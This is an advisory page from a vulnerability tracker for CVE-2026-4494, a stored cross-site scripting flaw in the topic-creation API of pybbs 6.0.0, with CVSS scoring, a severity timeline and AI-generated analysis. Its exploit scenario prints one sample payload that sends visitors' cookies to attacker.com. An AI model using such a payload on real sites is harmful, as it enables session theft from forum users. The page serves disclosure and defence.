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Java CVE-2026-4494

| EUVD-2026-13756 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-03-20 VulDB
2.0
CVSS 4.0 · NVD

Severity by source

NVD PRIMARY
2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

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CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
P
Scope
X

Lifecycle Timeline

8
Severity Changed
Apr 29, 2026 - 01:11 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:11 NVD
5.1 (MEDIUM) 2.0 (LOW)
Severity Changed
Apr 22, 2026 - 21:37 NVD
LOW MEDIUM
CVSS changed
Apr 22, 2026 - 21:37 NVD
3.5 (LOW) 5.1 (MEDIUM)
PoC Detected
Mar 24, 2026 - 15:54 vuln.today
Public exploit code
EUVD ID Assigned
Mar 20, 2026 - 17:45 euvd
EUVD-2026-13756
Analysis Generated
Mar 20, 2026 - 17:45 vuln.today
CVE Published
Mar 20, 2026 - 17:32 nvd
LOW 3.5

DescriptionCVE.org

A vulnerability was identified in atjiu pybbs 6.0.0. This affects the function create of the file src/main/java/co/yiiu/pybbs/controller/api/TopicApiController.java. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit is publicly available and might be used.

AnalysisAI

A stored cross-site scripting (XSS) vulnerability exists in atjiu pybbs 6.0.0 within the TopicApiController.java create function that allows authenticated attackers to inject malicious scripts into topic creation requests. The vulnerability affects all versions of the pybbs application matching the CPE cpe:2.3:a:atjiu:pybbs:*:*:*:*:*:*:*:*, and while the CVSS score of 3.5 is low, a publicly available proof-of-concept exploit has been disclosed, indicating active research and potential real-world exploitation risk.

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Vulnerability AssessmentAI

Risk Assessment The CVSS score of 3.5 (Low) reflects limited severity due to several mitigating factors: the attack requires authenticated access (PR:L), user interaction is required for the payload to execute (UI:R), and the integrity impact is limited (I:L with no confidentiality or availability impact). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An authenticated attacker creates a forum topic with a specially crafted title or content containing JavaScript payload, such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">'. When other users view the topic listing or open the thread, the JavaScript executes in their browsers, potentially stealing session cookies or performing actions on their behalf. …
Remediation Immediately upgrade atjiu pybbs to a patched version if available from the upstream project, or contact the atjiu project maintainers at their GitHub repository for security update information. … Detailed patch versions, workarounds, and compensating controls in full report.

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